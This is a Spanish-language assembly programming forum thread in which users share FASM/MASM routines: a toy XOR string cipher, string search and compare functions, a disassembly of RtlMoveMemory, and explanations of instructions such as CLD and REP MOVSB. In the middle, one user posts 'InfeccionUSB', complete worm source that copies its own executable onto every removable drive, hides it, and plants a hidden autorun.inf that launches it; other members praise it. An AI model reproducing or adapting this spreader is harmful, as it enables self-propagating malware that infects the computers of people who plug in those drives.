SRCs de YST.

[YST]

Hola , hice un pequeño enredo para cifrar ,digo enredo por que de criptografia yo no tengo idea,lo dejo

Código (asm) [Seleccionar] Expandir

proc YSTEncript,cCadena,cBuffer,cTamaño
push eax ebx ecx  edx esi
mov ebx,[cBuffer]
mov esi,[cCadena]
dec esi
dec ebx
.Eb:
dec [cTamaño]
inc esi
inc ebx
mov cl,byte[esi]
add cl,3
mov byte[ebx],cl
not byte[ebx]
xor byte[ebx],45
mov edx,[cTamaño]
xor byte[ebx],dl
cmp [cTamaño],0
jne .Eb
pop  esi edx ecx ebx eax
ret
endp

proc YSTDesencript,cCadena,cBuffer,cTamaño
push  eax ebx ecx  edx esi
mov ebx,[cBuffer]
mov esi,[cCadena]
dec esi
dec ebx
.Eb:
dec [cTamaño]
inc esi
inc ebx
mov cl,byte[esi]
mov byte[ebx],cl
mov edx,[cTamaño]
xor byte[ebx],dl
not byte[ebx]
xor byte[ebx],45
sub byte[ebx],3
cmp [cTamaño],0
jne .Eb
pop  esi edx ecx ebx eax
ret
endp

[Amerikano|Cls]

Muy bueno YST sigue así, luego lo analizaré que tal 

[YST]

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc'
.code
start:
stdcall cInstr,"98y4ct2y3Hola83925832c","Hola"
.if eax = FALSE
invoke MessageBox,0,"No esta.",0,0
.else
invoke MessageBox,0,eax,0,0
.endif
invoke ExitProcess,0
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //
;//c1 = Cadena                                                                                   //
;//c2 = Cadena que se buscara en c1                                                             //
;// Retorna:                                                                                   //
;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
;// apuntandoa la posicion de c1 donde se encontro c2                                        //
;// by YST                                                                                  //
;////////////////////////////////////////////////////////////////////////////////////////////
proc cInstr,c1,c2
push edi esi ebx ecx  edx
stdcall Len,[c2]
mov edi,eax
stdcall Len,[c1]
mov esi,eax
cmp edi,esi
jg .Falso
mov edx,[c1]
mov ebx,[c2]
dec edx
inc esi
.bucle:
dec esi
inc edx
mov cl,byte[edx+edi]
mov byte[edx+edi],0
stdcall comparar,edx,[c2]
mov byte[edx+edi],cl
.if eax = 0
mov eax,edx
jmp .salir
.endif
cmp esi,0
jne .bucle
.Falso:
mov eax,FALSE
.salir:
pop edx ecx ebx esi edi
ret
endp
proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start

[Karcrack]

Buen trabajo !

Esto es lo que hace RtlMoveMemory según Olly... es muy parecido al tuyo

Código (asm) [Seleccionar] Expandir

7C912C94 > 56               PUSH ESI
7C912C95   57               PUSH EDI
7C912C96   8B7424 10        MOV ESI,DWORD PTR SS:[ESP+10]
7C912C9A   8B7C24 0C        MOV EDI,DWORD PTR SS:[ESP+C]
7C912C9E   8B4C24 14        MOV ECX,DWORD PTR SS:[ESP+14]
7C912CA2   FC               CLD
7C912CA3   3BF7             CMP ESI,EDI
7C912CA5   76 1A            JBE SHORT ntdll.7C912CC1
7C912CA7   8BD1             MOV EDX,ECX
7C912CA9   83E2 03          AND EDX,3
7C912CAC   C1E9 02          SHR ECX,2
7C912CAF   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
7C912CB1   0BCA             OR ECX,EDX
7C912CB3   75 05            JNZ SHORT ntdll.7C912CBA
7C912CB5   5F               POP EDI
7C912CB6   5E               POP ESI
7C912CB7   C2 0C00          RETN 0C

Aunque no se que es CLD... tendré que investigar...

[YST]

Aunque no se que es CLD... tendré que investigar...

Borra la bandera de direccion si no mal recuerdo.

[YST]

Esta en fasm para llamarlo se llama con

Código [Seleccionar] Expandir

invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código (ASM) [Seleccionar] Expandir


     Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0 
BufferUnidades rb 31
 

Código (ASM) [Seleccionar] Expandir

proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad

invoke GlobalAlloc,GPTR,MAX_PATH
  mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
  stdcall ConseguirNombre,[Miruta]
  mov [Minombre],eax
       .infinito:
    invoke SleepEx,1000,FALSE
       stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
        mov ebx,BufferUnidades
        .bucleDetectaExtraible:
invoke GetDriveTypeA,ebx

.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
      invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
           stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]

     ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE

invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
                ;SetFileAttributes
          invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
              invoke GlobalAlloc,GPTR,MAX_PATH
              mov [MiAutorun] ,eax
            invoke GlobalAlloc,GPTR,MAX_PATH
            mov [RutaAutorun],eax
              stdcall Concat,Autorun,[Minombre], [MiAutorun]
                    stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
                    stdcall Concat,ebx,"autorun.inf",[RutaAutorun]

            invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
                mov [handleCreado], eax
            invoke lstrlenA,[MiAutorun]
              mov [tamaño],eax
      invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL

       
            invoke CloseHandle, [handleCreado]
               invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]

invoke GlobalFree,[RutaAutorun]
                .endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif

.if byte[ebx] = 0

invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp      .bucleDetectaExtraible
.endif
endp

Código (ASM) [Seleccionar] Expandir


proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
    mov esi,[@AdrSrc1]
    mov edi,[@AdrDest]

.concat_src1:
    movsb
    cmp byte[esi],0
    jne .concat_src1

    mov esi,[@AdrSrc2]

.concat_src2:
    movsb
    cmp byte[esi],0
    jne .concat_src2

    movsb

    ret
endp

proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp 

proc Zerar,Puntero,Cantidad

    push ecx
    push ebx

              mov ecx,[Cantidad]
                 mov ebx,[Puntero]
                .bucle:

                mov byte[ebx+ecx],0
                loop .bucle
                mov byte[ebx],0
                pop ebx
                pop ecx
                ret
endp   


[Arkangel_0x7C5]

bueno, ya que estamos con alternativas a apis, yo coloco el mio.

StrCmpW: Compara cadenas UNICODE, si son iguales devuelve error_sucess

Código (asm) [Seleccionar] Expandir


StrCmpW proc str1,str2

push ebx
push edx

mov ebx,str1
mov edx,str2

comparando:
movzx eax,word ptr[ebx]
cmp ax,word ptr[edx]
jne diferente
add ebx,2
add edx,2
test ax,ax
jz fin
jmp comparando
diferente:
inc eax
fin:

pop edx
pop ebx

ret

StrCmpW endp


[ny0x]

cld, movzx, rep movsb, word ptr ?  tengo mucho que aprender todavia, felicitaciones por los codes, 

[ny0x]

excelente yst infeccion usb,  yo la habia hecho en C pero asm es otro rollo, nada mas que yo mejore mi nivel en asm empiezo a postear mis codes por aqui 
saludos

[Arkangel_0x7C5]

como dijo jack el destripador, vamos por partes xD

rep repite una operacion hasta que cx o ecx sean 0.

movsb, movsw, movsd. Mueven el contenido de la direccion de memoria contenida en esi, a la direccion de memoria apuntada por edi y los aumentan o disminullen 1,2,4 respectivamente.

cld borra el falg que indica si se resta o aumenta edi y esi con un movsX
STD hace lo contrario de CLD. Si el flag esta en 1, se disminuiran y en cero se incrementaran.

movzx es como un mov, pero sirve para copiar 1,2,4 bytes en un registro de 32bits. Rellenando lo que falte con zeros.

Byte ptr, word ptr, dwrod ptr es la forma que se usa para decirle al Masm la cantidad de bytes que se quiere leer de memoria.

saludos